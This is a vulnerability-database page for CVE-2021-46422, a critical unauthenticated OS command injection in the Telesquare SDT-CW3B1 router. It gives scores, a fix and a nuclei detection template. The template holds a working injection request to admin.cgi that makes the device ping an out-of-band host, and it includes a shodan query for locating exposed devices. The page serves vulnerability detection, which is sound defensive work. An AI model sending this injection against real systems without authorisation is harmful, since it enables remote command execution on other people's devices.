HexBrain

Browse / CVEs / CVE-2021-46422

CVE-2021-46422· telesquare / sdt-cs3b1· CWE-78

SDT-CW3B1 1.1.0 - OS Command Injection

criticalseverity
9.8CVSS score
94.4%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.

Fix

Upgrade to a patched version of SDT-CW3B1 or apply the vendor-supplied patch to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}
Positive when: contains "<CmdResult>" AND contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2021-46422 -u <target>

The full check
id: CVE-2021-46422

info:
  name: SDT-CW3B1 1.1.0 - OS Command Injection
  author: badboycxcc,prajiteshsingh
  severity: critical
  description: |
    Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of SDT-CW3B1 or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50936
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46422
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?usp=sharing
    - http://packetstormsecurity.com/files/167201/SDT-CW3B1-1.1.0-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-46422
    cwe-id: CWE-78
    epss-score: 0.94425
    epss-percentile: 0.99853
    cpe: cpe:2.3:h:telesquare:sdt-cs3b1:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: telesquare
    product: sdt-cs3b1
    shodan-query: html:"SDT-CW3B1"
  tags: cve2021,cve,packetstorm,telesquare,rce,router,injection,edb,vkev,vuln
variables:
  cmd: "ping${IFS}-c${IFS}1${IFS}{{interactsh-url}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<CmdResult>"

      - type: word
        name: http
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from